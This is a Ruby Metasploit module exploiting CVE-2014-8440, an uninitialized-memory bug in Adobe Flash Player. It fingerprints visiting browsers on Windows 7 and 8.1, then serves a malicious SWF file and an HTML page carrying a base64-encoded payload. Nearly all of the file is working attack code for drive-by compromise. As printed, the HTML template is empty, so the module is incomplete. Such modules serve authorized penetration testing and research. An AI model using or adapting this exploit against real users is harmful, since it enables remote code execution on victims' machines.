##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory',
'Description' => %q{
This module exploits an uninitialized memory vulnerability in Adobe Flash Player. The
vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, which fails
to initialize allocated memory. When using a correct memory layout this vulnerability
leads to a ByteArray object corruption, which can be abused to access and corrupt memory.
This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with
Flash 15.0.0.189.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nicolas Joly', # Vulnerability discovery
'Unknown', # Exploit in the wild
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2014-8440'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-24.html'],
['URL', 'http://malware.dontneedcoffee.com/2014/11/cve-2014-8440.html'],
['URL', 'http://www.verisigninc.com/en_US/cyber-security/security-intelligence/vulnerability-reports/articles/index.xhtml?id=1081']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => lambda do |os|
os =~ OperatingSystems::Match::WINDOWS_7 ||
os =~ OperatingSystems::Match::WINDOWS_81
end,
:ua_name => lambda { |ua| [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua) },
:flash => lambda { |ver| ver =~ /^15\./ && Rex::Version.new(ver) <= Rex::Version.new('15.0.0.189') },
:arch => ARCH_X86
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => '2014-11-11',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
b64_payload = Rex::Text.encode_base64(target_payload)
platform_id = 'win'
os_name = target_info[:os_name]
html_template = %Q|
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-8440', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end